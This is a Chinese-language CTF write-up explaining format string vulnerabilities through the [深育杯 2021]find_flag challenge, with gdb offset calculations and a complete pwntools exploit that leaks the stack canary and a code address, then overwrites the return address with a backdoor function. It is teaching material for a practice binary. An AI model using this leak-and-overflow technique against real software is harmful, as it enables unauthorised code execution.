首先我们要了解什么是格式化字符串,关于这点在ctfwiki上介绍的很详细了,就不花时间赘述了。
贴个链接
格式化字符串原理介绍
通过基础知识的学习我们可以了解到格式化字符串主要有三种利用方式,分别是
拿一道典型例题来详细讲解:
[深育杯 2021]find_flag 这道题在NSSCTF上
下载附件checksec查看保护-->
拖入ida看看
很明显的格式化字符串漏洞,考虑到程序开启了canary和pie保护,所以我们要通过格式化字符串泄露canary和某个真实地址从而绕过canary和pie保护
调试
将文件gdb调试,断点下在printf函数(b printf),然后输入r运行,在程序输入处输入一串%p,输入stack 60查看栈
计算偏移
我们知道canary最后两位是00,通过ida可以知道mov eax, 0函数相对偏移为146f那么在调试中我们不难发现0x7fffffffde28位置存储了canary
0x0x7fffffffde38位置储存了mov eax ,0
而格式化字符串第一个参数位置是0x7fffffffddd0
计算得
0xe28-0xdd0=0x58
0xe38-0xdd0=0x68
0x58/8=11
0x68/8=13
并且由于x64中格式化字符串的前六个参数储存在寄存器中,所以两个相对格式化字符串的偏移为17及19
所以使用%17$p和%19$p分别泄露偏移为17和19位置储存的地址
代码如下:
payload = '%17$p'+'%19$p' io.sendlineafter('name? ',payload) io.recvuntil('Nice to meet you, ') canary = int(io.recv(18),16) addr = int(io.recv(14).decode(),16)
程序中存在后门函数,通过计算mov eax,0和后门函数的偏移得到后门函数真实地址
最后栈溢出覆盖返回地址为后门函数地址拿到flag
完整exp:
from pwn import* context.log_level = 'debug' io = process('./find_flag') payload = '%17$p'+'%19$p' io.sendlineafter('name? ',payload) io.recvuntil('Nice to meet you, ') canary = int(io.recv(18),16) addr = int(io.recv(14).decode(),16) can = hex(canary) add = hex(addr) print(can) print(add) main = 0x146f shell = 0x1228 offset = main-shell shelladr = addr-offset io.recvuntil('Anything else? ') payload = b'a'*(0x40-8)+p64(canary)+b'a'*8+p64(shelladr) io.sendline(payload) io.interactive()
通过这道例题我们不难发现,在栈溢出中格式化字符串能够轻松泄露各种地址,从而能很有效的绕过像canary和pie之类的通过比较和模糊地址以干扰栈溢出